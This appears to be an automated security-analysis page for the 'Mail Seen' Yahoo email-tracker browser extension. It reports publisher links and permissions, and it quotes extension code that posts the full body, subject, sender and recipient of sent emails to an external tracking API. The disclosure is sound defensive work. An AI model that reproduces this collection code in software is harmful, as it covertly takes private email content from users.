Is Mail Seen - Unlimited Email Tracker for Yahoo safe?

Medium risk

Mail Seen sends the full body text of each outgoing Yahoo Mail message to its own server.

When you send an email from Yahoo Mail, the extension adds a tracking pixel to the message and posts the sender, recipient, subject, timestamp and full body text to its backend. Tracking is on by default unless turned off, and free users are limited to 10 tracked emails a month.

Strong link to a flagged operator: 1 of the 2 other listings from the same operator is rated high or critical for malicious behaviour. Flagged: Mail Seen - Unlimited Email Tracker for Gmail (high).

Mobile Internet Limitedv1.6Chrome Web Store
49Risk
Who publishes it

Mobile Internet Limited - 2 other listings from the same operator, 2 of them carrying a finding

What this publisher told the store about itself, and the other listings that told it the same thing.

Publisher
Mobile Internet Limited
Declared legal entity
Mobile Internet Limited

Same store account

2 other listings published from this account, 5k+ users between them. 2 of them carry a finding.

Mail Seen - Unlimited Email Tracker for Gmail5k+HighMail Seen - Unlimited Email Tracker for Outlook202Medium

Shared hosts - 1 hostname

Hostnames hardcoded in this extension that few other listings call. That can mean one operator behind both, and it can equally mean a small shared vendor, so it is context rather than a conclusion. Hosts that many listings call are left out: they are services, not connections.

authapi-f6o7ittoia-uc.a.run.app
Also called by 1 other listing: 100% Invisible - Tracking Blocker for Gmail | Ghost Mode

AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.

Publishers can request a review.

Findings

Yahoo Mail compose text is sent to a third-party tracking API on every send

Code analysis shows the extension posts the full body text, subject, sender and recipient of each Yahoo Mail message you send to authapi-f6o7ittoia-uc.a.run.app/track2.

Severity
High unwanted
Type
Unexpected
CWE
CWE-359
Source
Static analysis
What actually happens
You did this

You send an email from Yahoo Mail.

Tracking is on unless the stored preference is set to false.

The extension did this

The extension posts the message text and addressing to its own API.

The request goes to /track2 on a Cloud Run host.

The code that does this

Body text is read, then posted as JSON

Readable version

Body read from the compose element

Content Actions/email-tracking.js
const bodyContent = bodyElement.innerText; // Extract the text content of the email body

POST to the tracking endpoint

Content Actions/email-tracking.js
fetch('https://authapi-f6o7ittoia-uc.a.run.app/track2', {        method: 'POST',        headers: { 'Content-Type': 'application/json' },        body: JSON.stringify({            senderEmail: senderEmail,            recipient: recipientEmail,            subject: subject,            timestamp: timestamp,            randomId: randomId,            bodyContent: bodyContent // Add this line to include the body content        })    })
JSON fields sent to /track2
  • Message body
    Hi Dana, attached are the Q3 figures.

    The full text of the email you typed.

  • Sender address
    jsmith@yahoo.com

    Your Yahoo Mail address.

  • Recipient address
    dana@example.com

    Who the message is addressed to.

  • Subject
    Q3 figures

    The subject line of the message.

  • Date
    2026-10-01

    Date the message was sent.

Where the message data goes
    • authapi-f6o7ittoia-uc.a.run.app

    Receives /track2 POSTs with body text and serves the /pixel/ image that encodes sender, subject and recipient in its URL.

Observation

Sending is skipped if sessionStorage userTrackingEnabled is false. Unpaid users are limited to 10 tracked emails a month; paid users are not limited.

Observation

Static analysis finding. This behaviour was identified by reading the shipped extension code and has not yet been reproduced in a live run. The trigger conditions and the exact data sent are read from the code, not from an observed capture.

What it can do

Permissions this extension asks for, as declared in version 1.6. Asking for a permission is not a finding on its own - it is what the extension can do if it chooses to.

  • Read and change your data on mail.yahoo.com

    https://mail.yahoo.com/

  • Read and change your data on authapi-f6o7ittoia-uc.a.run.app

    https://authapi-f6o7ittoia-uc.a.run.app/

  • Block and redirect the requests your browser makes

    declarativeNetRequest

  • See which of your requests its blocking rules matched

    declarativeNetRequestFeedback

Where it sends data

Destinations our analysis observed Mail Seen - Unlimited Email Tracker for Yahoo contacting. Sending data somewhere is not a finding on its own - an extension that syncs your settings has to talk to its own server - but it is where your data can go, and who else it goes to.

  • authapi-f6o7ittoia-uc.a.run.app

    Mail Seen - Unlimited Email Tracker for Yahoo sends data to authapi-f6o7ittoia-uc.a.run.app. 2 other extensions we have analysed send data here.

Updated 15 October 2026jpgfcabgippppbekoebfkkfnglokabcd